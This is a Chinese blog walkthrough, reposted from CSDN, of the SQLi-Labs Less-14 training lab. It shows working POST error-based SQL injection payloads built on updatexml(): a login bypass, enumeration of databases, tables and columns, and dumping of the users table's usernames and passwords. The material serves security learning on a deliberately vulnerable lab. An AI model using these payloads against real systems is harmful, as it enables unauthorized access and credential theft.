SQLi LABS Less-14
第十四关请求方式为 POST请求 , 注入点为 双引号字符串型 , 注入方式为 报错注入
本次报错注入使用 updatexml()
-
updatexml(1,'~',3)
-
-- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中
-
-- 返回的结果不超过32个字符
第一步,判断注入方式
老规矩 , 先给一个单引号' , 用户名输入 a',密码随便输入 , 没啥反应 , 说明单引号对后端的SQL不会产生影响
再试试双引号" , 用户名输入 a" , 密码随便输入
数据库报错了 , 看来后端SQL包裹参数用的是双引号 或双引号加括号 , 既然有报错 , 那就用报错注入吧 , 用户名输入一下代码 , 密码随便输入
a" or true #
通过 true , 使SQL恒成立 , 登录成功 , 固 双引号字符串型注入
源码如下
使用updatexml() 判断 数据库是否报错
a" and updatexml(1,'~',3) #
数据库正常显示错误 , 接下来利用错误注入进行脱库
updatexml() 的第二个参数如果包含特殊字符 , 数据库会报错,并返回第二个参数的内容 , 错误注入依据的就是这个特点
第二步,获取所有数据库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名
-
a" and updatexml(1,concat('~',
-
(select schema_name
-
from information_schema.schemata limit 1,1))
-
,3) #
此处的concat() , 将结果拼接上'~' 使其报错 从而数据库报错
limit 分页 以此查看所有数据库
查看当前使用的数据库
-
a" and updatexml(1,concat('~',
-
(database()))
-
,3) #
可知 , 当前使用的数据库为 security , 下一步,查询security数据库的所有表
第三步,获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所以的表名
-
a" and updatexml(1,concat('~',
-
(select table_name
-
from information_schema.tables
-
where table_schema='security' limit 3,1))
-
,3) #
由于updatexml() 显示字符串长多不超过32个字符 , 此处使用limit分页 以此查看所有表名
users表为用户表 , 下一步查询users表的所有字段
第四步,获取所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
-
a" and updatexml(1,concat('~',
-
(select group_concat(column_name)
-
from information_schema.columns
-
where table_schema='security'
-
and table_name='users'))
-
,3) #
至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据这些信息获取账号和密码
第五步,获取账号密码
-
a" and updatexml(1,concat('~',
-
substr((select group_concat(username,'~',password)
-
from security.users),1,31))
-
,3) #
updatexml() 返回的字符串长度最多为32个字符 , 此处用substr() 每次截取31个字符 , 直至截取完所有数据
文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/wangyuxiang946/article/details/118094895
- 点赞
- 收藏
- 关注作者
评论(0)